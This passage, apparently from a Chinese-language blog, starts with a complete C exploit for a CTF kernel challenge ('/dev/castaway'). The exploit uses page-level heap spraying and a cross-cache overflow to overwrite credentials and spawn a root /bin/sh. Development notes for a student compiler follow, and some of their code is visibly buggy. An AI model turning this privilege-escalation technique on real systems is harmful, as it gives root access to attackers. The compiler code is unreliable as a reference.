.tv_sec = 1145141919,
.tv_nsec = 0,
};

struct castaway_request {
int64_t index;
size_t size;
void *buf;
};

struct page_request{
int idx;
int cmd;
};

struct tpacket_req {
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
unsigned int tp_frame_nr;
};

void errPrint(char *str){
puts(str);
exit(-1);
}

int initFd(char *str){
fd = open(str,O_RDWR);
if(fd < 0){
errPrint("open error");
}
}

int kalloc(void){
struct castaway_request r = {
.index = 0,
.size = 0,
.buf = 0,
};
ioctl(fd,KALLOC,&r);
}

int kwrite(int index,int size,char* buf){
struct castaway_request r = {
.index = index,
.size = size,
.buf = buf,
};
ioctl(fd,KWRITE,&r);
}

__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi; " /* save the rsi*/
" xor rsi, rsi; " /* set esp and useless args to NULL */
" xor rdx, rdx; "
" xor r10, r10; "
" xor r8, r8; "
" xor r9, r9; "
" mov rax, 56; " /* __NR_clone */
" syscall; "
" cmp rax, 0; "
" je child_fn; "
" ret; " /* parent */
"child_fn: "
" jmp r15; " /* child */
);
}

int waiting_for_root_fn(void *args)
{
__asm__ volatile (
" lea rax, [check_root_pipe]; "
" xor rdi, rdi; "
" mov edi, dword ptr [rax]; "
" mov rsi, child_pipe_buf; "
" mov rdx, 1; "
" xor rax, rax; "
" syscall; " /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" mov rax, 102; "
" syscall; " /* getuid() */
" cmp rax, 0; "
" jne failed; "
" mov rdi, 1; "
" lea rsi, [root_str]; "
" mov rdx, 80; "
" mov rax, 1;"
" syscall; " /* write(1, root_str, 71) */
" lea rdi, [bin_sh_str]; "
" lea rsi, [shell_args]; "
" xor rdx, rdx; "
" mov rax, 59; "
" syscall; " /* execve("/bin/sh", args, NULL) */
"failed: "
" lea rdi, [timer]; "
" xor rsi, rsi; "
" mov rax, 35; "
" syscall; " /* nanosleep() */
);

return 0;
}

void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;

unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);

tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);

tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}

int use_setsockopt_alloc_page(void){
struct tpacket_req req = {
.tp_block_size = 0x1000,
.tp_block_nr = 1,
.tp_frame_size = 0x1000,
.tp_frame_nr = 1,
};
int socket_fd, version, ret;

socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0) {
return 0;
}
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version));
if(ret < 0){
errPrint("setsockopt version error");
}
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if(ret < 0){
errPrint("setsockopt req error");
}
return socket_fd;
}

int alloc_page(int idx)
{
struct page_request req = {
.idx = idx,
.cmd = CMD_ALLOC_PAGE,
};
int ret;

write(cmd_pipe_req[1], &req, sizeof(struct page_request));
read(cmd_pipe_reply[0], &ret, sizeof(ret));

return ret;
}

int free_page(int idx)
{
struct page_request req = {
.idx = idx,
.cmd = CMD_FREE_PAGE,
};
int ret;

write(cmd_pipe_req[1], &req, sizeof(req));
read(cmd_pipe_reply[0], &ret, sizeof(ret));

return ret;
}

int main(){
cpu_set_t cpu_set;
char buf[0x1000];
int ret;

initFd("/dev/castaway");
pipe(cmd_pipe_req);
pipe(cmd_pipe_reply);

puts("step 1");
if(!fork()){
struct page_request req;
unshare_setup();
do {
read(cmd_pipe_req[0], &req, sizeof(req));
if (req.cmd == CMD_ALLOC_PAGE) {
ret = use_setsockopt_alloc_page();
socket_fd[req.idx] = ret;
} else if (req.cmd == CMD_FREE_PAGE) {
ret = close(socket_fd[req.idx]);
} else {
errPrint("invalid request");
}
write(cmd_pipe_reply[1], &ret, sizeof(ret));
} while (req.cmd != CMD_EXIT);
}

puts("step 2");
for (int i = 0; i < PGV_PAGE_NUM; i++) {
if(alloc_page(i) < 0) {
errPrint("alloc_page error");
}
}

puts("step 3");
for (int i = 1; i < PGV_PAGE_NUM; i += 2){
free_page(i);
}

pipe(check_root_pipe);
for (int i = 0; i < 512; i++) {
if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) < 0){
errPrint("clone error");
}
}

puts("step 4");
for (int i = 0; i < PGV_PAGE_NUM; i += 2){
free_page(i);
}

memset(buf, '\0', 0x1000);
*(uint32_t*) &buf[512 - 6] = 1; /* cred->usage */
for (int i = 0; i < 400; i++) {
kalloc();
kwrite(i, 512, buf);
}

puts("step 5");
write(check_root_pipe[1], buf, 514);
sleep(0x5000);
}

小结:

学到了 Cross-Cache Overflow 和页级堆风水

基础信息

本代码是在以下项目的基础上进行完善:

此版本已经完成了所有功能:全局变量处理,结构体处理,指针处理

语义分析

全局变量处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
char *newAliasEx()
{
static int no = 1;
char s[10];
snprintf(s, 10, "%d", no++);
return str_catch("exvar", s);
}

void ext_var_def(struct node *T) /* TYPE,EXT_DEF_LIST | STRUCT_DEC,EXT_DEF_LIST */
{
int rtn;
if (!strcmp(T->ptr[0]->type_id, "int"))
{
T->type = T->ptr[1]->type = INT;
T->ptr[1]->width = 8;
}
if (!strcmp(T->ptr[0]->type_id, "float"))
{
T->type = T->ptr[1]->type = FLOAT;
T->ptr[1]->width = 8;
}
if (!strcmp(T->ptr[0]->type_id, "char"))
{
T->type = T->ptr[1]->type = CHAR;
T->ptr[1]->width = 1;
}

if(T->ptr[0]->kind == STRUCT_DEC){
T->type = T->ptr[1]->type = STRUCT;
rtn = searchSymbolTable(T->ptr[0]->ptr[0]->struct_name);
if (rtn == -1)
semantic_error(T->pos, T->type_id, "结构体未定义,语义错误");
if (symbolTable.symbols[rtn].flag == 'F'){
semantic_error(T->pos, T->type_id, "是函数名,不是结构体,语义错误");
}
else if (symbolTable.symbols[rtn].flag == 'v'){
semantic_error(T->pos, T->type_id, "是变量,不是结构体,语义错误");
}
strcpy(T->ptr[1]->struct_name,T->ptr[0]->ptr[0]->struct_name);
}

T->ptr[1]->offset = T->offset;
ext_var_list(T->ptr[1],0);
T->width = (T->ptr[1]->width) * T->ptr[1]->num;
T->code = NULL;
}

void ext_var_list(struct node *T,int is_arr) /* ID,EXT_DEC_LIST | ARRAY_DEC,EXT_DEC_LIST */
{
int rtn, num = 1;
switch (T->kind)
{
case EXT_DEC_LIST:
T->ptr[0]->type = T->type;
T->ptr[0]->offset = T->offset;
T->ptr[1]->type = T->type;
T->ptr[1]->offset = T->offset + T->width;
T->ptr[1]->width = T->width;
ext_var_list(T->ptr[0],0);
ext_var_list(T->ptr[1],0);
T->num = T->ptr[1]->num + 1;
break;
case ID:
if(is_arr==1){
rtn = fillSymbolTable(T->type_id, newAliasEx(), LEV, T->type, 'a', T->offset);
}
else{
if(T->type == STRUCT){
rtn = fillSymbolTable(T->type_id, newAliasEx(), LEV, T->type, 's', T->offset);
strcpy(symbolTable.symbols[rtn].stname,T->struct_name);
}
else{
rtn = fillSymbolTable(T->type_id, newAliasEx(), LEV, T->type, 'v', T->offset);
}
}
if (rtn == -1)
semantic_error(T->pos, T->type_id, "变量重复定义,语义错误");
else
T->place = rtn;
T->num = 1;
symbolTable.symbols[T->place].offset = get_typelen(symbolTable.symbols[T->place].type);
symbolTable.symbols[T->place].paramnum = 1;
break;
case IDS:
rtn = fillSymbolTable(T->type_id, newAliasEx(), LEV, T->type, 'p', T->offset);
if (rtn == -1)
semantic_error(T->pos, T->type_id, "变量重复定义,语义错误");
else
T->place = rtn;
T->num = 1;
symbolTable.symbols[T->place].offset = 8;
symbolTable.symbols[T->place].paramnum = 1;
break;
case ARRAY_DEC: /* ARRAY_DEC,ARRAY_LIST */
T->ptr[0]->type = T->type;
T->ptr[0]->offset = T->offset;
T->ptr[0]->width = T->width * T->ptr[1]->type_int;
symbolTable.symbols[T->ptr[0]->place].offset = get_typelen(symbolTable.symbols[T->ptr[0]->place].type);
symbolTable.symbols[T->ptr[0]->place].paramnum = 0;
ext_var_list(T->ptr[0],1);
T->place = T->ptr[0]->place;
symbolTable.symbols[T->ptr[0]->place].offset *= T->ptr[1]->ptr[0]->type_int;
symbolTable.symbols[T->ptr[0]->place].paramnum += 1;
symbolTable.symbols[T->ptr[0]->place].array[symbolTable.symbols[T->ptr[0]->place].paramnum-1] = T->ptr[1]->ptr[0]->type_int;
break;
default:
break;
}
}

结构体处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void struct_exp(struct node *T){
int rtn;

Exp(T->ptr[0]);

sprintf(global_buf,"%s.%s",T->ptr[0]->struct_name,T->ptr[1]->type_id);
rtn = searchSymbolTable(global_buf);
if (rtn == -1){
semantic_error(T->ptr[0]->pos, T->ptr[0]->struct_name, "结构体没有目标条目,语义错误");
return;
}

T->ptr[1]->place = rtn;
}

void struct_exp_left(struct node *T,struct opn *result){
Exp(T->ptr[0]);
Exp(T->ptr[1]);

(*result).kind = ID;
sprintf((*result).id,"%s(@%s)<+%d>",symbolTable.symbols[T->ptr[0]->ptr[0]->place].alias,
symbolTable.symbols[T->ptr[0]->ptr[1]->place].name,
symbolTable.symbols[T->ptr[0]->ptr[1]->place].offset);
(*result).offset = symbolTable.symbols[T->ptr[0]->ptr[0]->place].offset;
}

void struct_exp_right(struct node *T,struct opn *opn1){ /* Exp,Exp */
Exp(T->ptr[1]);
Exp(T->ptr[0]);

(*opn1).kind = ID;
sprintf((*opn1).id,"%s(@%s)<+%d>",symbolTable.symbols[T->ptr[1]->ptr[0]->place].alias,
symbolTable.symbols[T->ptr[1]->ptr[1]->place].name,
symbolTable.symbols[T->ptr[1]->ptr[1]->place].offset);
(*opn1).offset = symbolTable.symbols[T->ptr[1]->ptr[0]->place].offset;
}

生成 IR 中间语言

全局变量处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
if(h->op==NOT && h->result.type_array!=NULL){
struct Array * temp = h->result.type_array;
while (temp){
num_buf=get_typelen(symbolTable.symbols[temp->kind].type);
for(int i=0;i<temp->index-1;i++){
num_buf*=symbolTable.symbols[temp->kind].array[temp->index-i];
}
sprintf(buf,"{#%d}*{%s<+%d>}+",num_buf,temp->value.type_id,temp->offset);
strcat(resultstr,buf);
temp = temp->next;
}
resultstr[strlen(resultstr)-1] = 0;
sprintf(msg,"#!tempa := %s\n", resultstr);
print_io(msg,fd);
is_arrVar[h->result.type] = 1;
}

if(!strncmp(resultstr,"var",3) || !strncmp(resultstr,"*var",4)
|| !strncmp(resultstr,"exvar",5) || !strncmp(resultstr,"*exvar",6)){
if(h->result.offset>=0)
sprintf(resultstr,"%s<+%d>",resultstr,h->result.offset);
else
sprintf(resultstr,"%s<-%d>",resultstr,-h->result.offset);
if(is_arrVar[0] == 1){
strcat(resultstr,"<+tempa>");
is_arrVar[0] = 0;
}
}

if(!strncmp(opnstr1,"var",3) || !strncmp(opnstr1,"&var",4) || !strncmp(opnstr1,"*var",4)
|| !strncmp(opnstr1,"exvar",5) || !strncmp(opnstr1,"*exvar",6)){
if(h->opn1.offset>=0)
sprintf(opnstr1,"%s<+%d>",opnstr1,h->opn1.offset);
else
sprintf(opnstr1,"%s<-%d>",opnstr1,-h->opn1.offset);
if(is_arrVar[1] == 1){
strcat(opnstr1,"<+tempa>");
is_arrVar[1] = 0;
}
}

if(!strncmp(opnstr2,"var",3) || !strncmp(opnstr2,"*var",4)
|| !strncmp(opnstr2,"exvar",5) || !strncmp(opnstr2,"*exvar",6)){
if(h->opn2.offset>=0)
sprintf(opnstr2,"%s<+%d>",opnstr2,h->opn2.offset);
else
sprintf(opnstr2,"%s<-%d>",opnstr2,-h->opn2.offset);
}

生成汇编代码

结构体处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
string Get_S(const string& str){
auto res = vector<string>();
string re;
std::regex stack("<+(.*?)>");
std::regex stru("(.*?)@(.*?)");
cmatch m;

sregex_iterator pos(str.cbegin(), str.cend(), stack), end;
for(; pos!=end; ++pos){
res.push_back(pos->str(1));
}
if(res.size()>2 && regex_match(str,stru)){
int num = 0;
num += atoi(res[0].erase(0,1).c_str());
num += atoi(res[1].erase(0,1).c_str());
re = "-"+to_string(num)+"(%rbp,%rax,1)";
}
else if(res.size()>1 && !regex_match(str,stru)){
re = "-"+res[0].erase(0,1)+"(%rbp,%rax,1)";
}
else if(regex_match(str,stru)){
int num = 0;
num += atoi(res[0].erase(0,1).c_str());
num += atoi(res[1].erase(0,1).c_str());
re = "-"+to_string(num)+"(%rbp)";
}
else{
re = "-"+res[0].erase(0,1)+"(%rbp)";
}

return re;
}

全局变量处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
string Get_D(const string& str){
auto res = vector<string>();
string re;
std::regex stack("<+(.*?)>");
std::regex stru("(.*?)@(.*?)");

sregex_iterator pos(str.cbegin(), str.cend(), stack), end;
for(; pos!=end; ++pos){
res.push_back(pos->str(1));
}
re = strtok((char *)str.c_str(),"<");
if(res.size()>1){
re = re+res[0]+"(%rbp,%rax,1)";
}
else{
re = re+res[0]+"(%rip)";
}
return re;
}
1
2
3
4
5
6
7
8
9
10
11
12
void write_to_txt(const vector<string>& obj){
ofstream out("./demo.s");
string temp="";
for (auto & exvar:exvariables)
temp +="\t.comm "+exvar.first+","+exvar.second+","+exvar.second+"\n";
for (auto & fun:func_name)
temp +="\t.globl "+fun+"\n\t.type "+fun+", @function\n";;
out<<temp;
for (auto & it:obj)
out<<it<<endl;
out.close();
}

基础功能已经全部完成,剩下的就是找 BUG 和改 BUG

基础信息

本代码是在以下项目的基础上进行完善:

此版本在上一个版本的基础上进行了大修改

语义分析

定义了一个函数用于处理数组中的变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void array_exp_tmp(struct node *T,struct node *T0){
struct opn opn1, opn2, result;
struct Array * temp = T0->type_array;
int rtn;

memset(&result,0,sizeof(result));
result.type_array = temp;

while (temp){
rtn = searchSymbolTable(temp->name);
if (rtn == -1){
semantic_error(T->ptr[0]->pos, temp->name, "未定义,语义错误");
return;
}
temp->offset = symbolTable.symbols[rtn].offset-8;
temp = temp->next;
}
T->code = merge(2, T->code, genIR(NOT, opn1, opn2, result));
}
  • 处理的过程比较复杂,核心思路就是添加一条伪代码,用于在数组赋值前说明该数组所引用的变量
  • 效果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
VAR exvar1(int)
VAR exvar2(int)

FUNCTION main - 312 :
ARRAY var2(int)[36]<+0>
temp1 := #2
var3<+288> := temp1
temp2 := #1
var4<+296> := temp2
temp3 := #1
var5<+304> := temp3
temp6 := #6
var2<+104> := temp6
#!tempa := {#48}*{var3<+288>}+{#8}*{var4<+296>} /* 伪代码 */
temp7 := #8
var2<+0><+tempa> := temp7
LABEL Flabelmain :
  • 在一个数组中,所有变量对数组所造成的影响都会记录在 tempa

生成 IR 中间语言

在此部分中添加了生成伪代码的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
if(h->op==NOT && h->result.type_array!=NULL){
struct Array * temp = h->result.type_array;
while (temp){
num_buf=get_typelen(symbolTable.symbols[temp->kind].type);
for(int i=0;i<temp->index-1;i++){
num_buf*=symbolTable.symbols[temp->kind].array[temp->index-i];
}
sprintf(buf,"{#%d}*{%s<+%d>}+",num_buf,temp->value.type_id,temp->offset);
strcat(resultstr,buf);
temp = temp->next;
}
resultstr[strlen(resultstr)-1] = 0;
sprintf(msg,"#!tempa := %s\n", resultstr);
print_io(msg,fd);
is_arrVar = 1;
}

if(!strncmp(resultstr,"var",3)){
if(h->result.offset>=0)
sprintf(resultstr,"%s<+%d>",resultstr,h->result.offset);
else
sprintf(resultstr,"%s<-%d>",resultstr,-h->result.offset);
if(is_arrVar == 1){
strcat(resultstr,"<+tempa>");
}
}

if(!strncmp(opnstr1,"var",3)){
if(h->opn1.offset>=0)
sprintf(opnstr1,"%s<+%d>",opnstr1,h->opn1.offset);
else
sprintf(opnstr1,"%s<-%d>",opnstr1,-h->opn1.offset);
if(is_arrVar == 1){
strcat(opnstr1,"<+tempa>");
}
}

if(!strncmp(opnstr2,"var",3)){
if(h->opn2.offset>=0)
sprintf(opnstr2,"%s<+%d>",opnstr2,h->opn2.offset);
else
sprintf(opnstr2,"%s<-%d>",opnstr2,-h->opn2.offset);
if(is_arrVar == 1){
strcat(opnstr2,"<+tempa>");
}
}

生成汇编代码

此部分进行了大修改:

实现了对函数调用的翻译:(包括参数传入和参数使用)

1
2
3
4
5
6
7
8
9
10
11
if (line[0] == "ARG"){
return "\tmovq "+storage(line.back())+",%"+params[func_argn++];
}
if (line[0] == "PARAM"){
return "\tmovq %"+params[func_param++]+","+storage(line.back());
}
if (line[0] == "CALL"){
func_argn = 0;
temp_return = "\tcall "+line.back();
return temp_return;
}

实现了对数组赋值的处理:(包括对数组中变量的特殊处理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if (line[0][0] == '#' && line[0][1] == '!'){
std::regex d("#[[:digit:]]+");
std::regex a("var[[:digit:]]+<\\+[[:digit:]]+>");

temp_return = "\txor %rax,%rax";
sregex_iterator pos1(line[2].cbegin(), line[2].cend(), d), end;
sregex_iterator pos2(line[2].cbegin(), line[2].cend(), a);
for(; pos1!=end; ++pos1,++pos2){
temp_return += "\n\txor %rbx,%rbx";
temp_return += "\n\taddq "+storage(pos2->str())+",%rbx";
temp_return += "\n\timulq $"+pos1->str().substr(1,pos1->str().size())+",%rbx";
temp_return += "\n\tsubq %rbx,%rax";
}
temp_return += "\t\nxor %rax,%rax";
return temp_return;
}
if (line.size() == 3){
if (line[2][0] == '#'){
temp_return = "\tmovq $"+line.back().substr(1)+","+Get_R(line[0]);
}
else if (!strncmp(line[2].c_str(),"var",3) && !strncmp(line[0].c_str(),"var",3)){
temp_return = "\tmovq "+storage(line[2])+",";
temp_return += Get_R(line[0])+"\n";
temp_return += "\tmovq "+Get_R(line[0])+",";
temp_return += storage(line[0]);
}
else{
temp_return = "\tmovq ";
temp_return += storage(line[2])+',';
temp_return += storage(line[0]);
}

if(!strncmp(line[0].c_str(),"var",3) && !strncmp(line[2].c_str(),"temp",4)){
Clean_R();
}
return temp_return;
}

实现了条件跳转:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
if (line[0] == "IF") {
temp_return = "\tcmpq ";
if (line[2] == "=="){
temp_return += storage(line[1])+",";
temp_return += storage(line[3]);
temp_return += "\n\tje ";
temp_return += "."+line.back();
return temp_return;
}
if (line[2] == "!="){
temp_return += storage(line[1])+",";
temp_return += storage(line[3]);
temp_return += "\n\tjne ";
temp_return += "."+line.back();
return temp_return;
}
if (line[2] == ">"){
temp_return += storage(line[1])+",";
temp_return += storage(line[3]);
temp_return += "\n\tja ";
temp_return += "."+line.back();
return temp_return;
}
if (line[2] == "<"){
temp_return += storage(line[1])+",";
temp_return += storage(line[3]);
temp_return += "\n\tjb ";
temp_return += "."+line.back();
return temp_return;
}
if (line[2] == ">="){
temp_return += storage(line[1])+",";
temp_return += storage(line[3]);
temp_return += "\n\tjae ";
temp_return += "."+line.back();
return temp_return;
}
if (line[2] == "<="){
temp_return += storage(line[1])+",";
temp_return += storage(line[3]);
temp_return += "\n\tjbe ";
temp_return += "."+line.back();
return temp_return;
}
}

实现了“加减乘除”4种基础运算:(其中不包括对带变量数组的处理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
if (line.size() == 5){
if (line[3] == "+"){
if(!strcmp(line[0].c_str(),line[2].c_str())){
return "\taddq "+storage(line.back())+","+storage(line[0]);
}

temp_return = "\txor "+storage(line[0])+","+storage(line[0])+"\n";

temp_return += "\tmovq ";
temp_return += storage(line[0])+",";
temp_return += "%rax";

temp_return += "\n\taddq ";
temp_return += storage(line[2]);
temp_return += ",%rax";

temp_return += "\n\taddq ";
temp_return += storage(line.back());
temp_return += ",%rax";

temp_return += "\n\tmovq ";
temp_return += "%rax,";
temp_return += storage(line[0]);

return temp_return;
}
else if (line[3] == "-"){
if(!strcmp(line[0].c_str(),line[0].c_str())){
return "\tsubq "+storage(line.back())+","+storage(line[0]);
}

temp_return = "\txor "+storage(line[0])+","+storage(line[0])+"\n";

temp_return += "\tmovq ";
temp_return += storage(line[0])+",";
temp_return += "%rax";

temp_return += "\n\taddq ";
temp_return += storage(line[2]);
temp_return += ",%rax";

temp_return += "\n\tsubq ";
temp_return += storage(line.back());
temp_return += ",%rax";

temp_return += "\n\tmovq ";
temp_return += "%rax,";
temp_return += storage(line[0]);

return temp_return;
}
else if (line[3] == "*"){
if(!strcmp(line[0].c_str(),line[0].c_str())){
return "\timulq "+storage(line.back())+","+storage(line[0]);
}

temp_return = "\txor "+storage(line[0])+","+storage(line[0])+"\n";

temp_return += "\tmovq ";
temp_return += storage(line[0])+",";
temp_return += "%rax";

temp_return += "\n\timulq ";
temp_return += storage(line[2]);
temp_return += ",%rax";

temp_return += "\n\timulq ";
temp_return += storage(line.back());
temp_return += ",%rax";

temp_return += "\n\tmovq ";
temp_return += "%rax,";
temp_return += storage(line[0]);

return temp_return;
}
else if (line[3] == "\\"){
if(!strcmp(line[0].c_str(),line[0].c_str())){
return "\tdivq "+storage(line.back())+","+storage(line[0]);
}

temp_return = "\txor "+storage(line[0])+","+storage(line[0])+"\n";

temp_return += "\tmovq ";
temp_return += storage(line[2])+",";
temp_return += "%rax";

temp_return += "\n\tdivq ";
temp_return += storage(line.back());

temp_return += "\n\tmovq ";
temp_return += "%rax,";
temp_return += storage(line[0]);

return temp_return;
}
}

基础信息

本代码是在以下项目的基础上进行完善:

语义分析

先更正一个错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void assignop_exp_right(struct node *T,struct opn *opn1){
if(T->ptr[1]->kind == EXP_ARRAY){
array_exp_right(T,opn1);
}
else if(T->ptr[1]->kind == EXP_ELE){
struct_exp_right(T,opn1);
}
else if(T->ptr[1]->kind == ID){
id_exp_right(T,opn1);
}
else if(T->ptr[1]->kind == EXP_IDA){
ida_exp_right(T,opn1);
}
else if(T->ptr[1]->kind == EXP_IDS){
ids_exp_right(T,opn1);
}
else if(T->ptr[1] == NULL){
semantic_error(T->pos, "", "赋值语句右值错误");
}
else{
Exp(T->ptr[1]);
(*opn1).kind = ID;
strcpy((*opn1).id, symbolTable.symbols[T->ptr[1]->place].alias);
(*opn1).offset = symbolTable.symbols[T->ptr[1]->place].offset;
T->code = merge(2, T->code, T->ptr[1]->code);
}
}
  • 赋值语句右边可能是运算表达式,这种情况在上个版本考虑漏了

另外还改了一些 BUG 并进行了优化

生成 IR 中间语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
switch (h->op)
{
case ASSIGNOP:
if(!strncmp(resultstr,"var",3) && !strncmp(opnstr1,"var",3)){
sprintf(msg," %s<+%d> := %s<+%d>\n", resultstr, h->result.offset, opnstr1, h->opn1.offset);
}
else if(!strncmp(resultstr,"var",3)){
sprintf(msg," %s<+%d> := %s\n", resultstr, h->result.offset, opnstr1);
}
else if(!strncmp(opnstr1,"var",3)){
sprintf(msg," %s := %s<+%d>\n", resultstr, opnstr1, h->opn1.offset);
}
else{
sprintf(msg," %s := %s\n", resultstr, opnstr1);
}
print_io(msg,fd);
break;
case PPLUS:
case MMINUS:
sprintf(msg," %s := %s %c 1\n", opnstr1, opnstr1,
h->op == PPLUS ? '+' : '-' );
print_io(msg,fd);
break;
case PLUS:
case MINUS:
case STAR:
case DIV:
if(!strncmp(resultstr,"var",3)){
sprintf(temp_buf[0],"%s<+%d>",resultstr,h->result.offset);
}
else{
sprintf(temp_buf[0],"%s",resultstr);
}
if(!strncmp(opnstr1,"var",3)){
sprintf(temp_buf[1],"%s<+%d>",opnstr1,h->opn1.offset);
}
else{
sprintf(temp_buf[1],"%s",opnstr1);
}
if(!strncmp(opnstr2,"var",3)){
sprintf(temp_buf[2],"%s<+%d>",opnstr2,h->opn2.offset);
}
else{
sprintf(temp_buf[2],"%s",opnstr2);
}

sprintf(msg," %s := %s %c %s\n",temp_buf[0],temp_buf[1],h->op == PLUS ? '+' : h->op == MINUS ? '-' : h->op == STAR ? '*' : '\\',temp_buf[2]);
print_io(msg,fd);
break;

......

case FUNCTION:
rtn = searchSymbolTable(h->result.id);
sprintf(msg,"\nFUNCTION %s - %d :\n", h->result.id,symbolTable.symbols[rtn].offset);
print_io(msg,fd);
break;

......

case RETURN:
if (h->result.kind){
sprintf(msg," RETURN %s<+%d>\n", resultstr,h->result.offset);
print_io(msg,fd);
}
else{
sprintf(msg," RETURN\n");
print_io(msg,fd);
}
break;
}
  • 对局部变量的 IR 进行了修改,使其可以显示在栈中的偏移
  • 修改了函数标签,使其可以显示该函数使用了多大的栈空间

生成汇编代码

参考了之前 “编译原理实验” 的代码,目前实现了对赋值语句和基础运算的翻译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
#include <iostream>
#include <cstdlib>
#include <vector>
#include <regex>
#include <fstream>
#include <bitset>

using namespace std;

string regs[] = {"rbx","rcx","rdx","r8","r10","r11","r14","r15"};
string params[] = {"rdi","rsi","rdx","rcx","r8","r9"};
vector<string> variables;
map<string,string> table;
map<string,int> reg_ok;
size_t func_argn;
size_t func_param;
string func_stack;

void printERR(char* str){
cout << str << endl;
exit(-1);
}

void Load_Var(string Inter){
regex temp_re("temp\\d+");
regex var_re("var\\d+");
smatch result;
string temp_line;

string::const_iterator iter = Inter.begin();
string::const_iterator iterEnd = Inter.end();
while (regex_search(iter,iterEnd,result,temp_re)){
temp_line = result[0];
variables.emplace_back(temp_line);
iter = result[0].second;
}

iter = Inter.begin();
iterEnd = Inter.end();
while (regex_search(iter,iterEnd,result,var_re)){
temp_line = result[0];
variables.emplace_back(temp_line);
iter = result[0].second;
}
}

string Load_Inter(const string& filename){
string lines;
string temp_line;
ifstream in(filename);
if(in){
while (getline(in,temp_line)){
if (temp_line == " ")
continue;
lines.append(temp_line);
lines.append("\n");
}
}
in.close();
return lines;
}

void Clean_R(){
vector<string> keys;
for (auto &it:table) /* 遍历table的key(已经分配寄存器) */
keys.emplace_back(it.first); /* 直接在vector尾部创建这个元素 */
for (auto &key:keys){ /* 清空之前所有分配的临时变量的映射关系 */
if (key.find("temp")!=string::npos && find(variables.begin(),variables.end(),key) == variables.end()){
reg_ok[table[key]] = 1;
table.erase(key);

}
}
}

string Get_R(const string& str){ /* 引用是原变量的一个别名,跟原来的变量实质上是同一个东西 */
for (auto it = variables.begin();it!=variables.end();++it){ /* it为迭代器 */
if (*it == str){ /* 去除重复 */
it = variables.erase(it);
break;
}
}

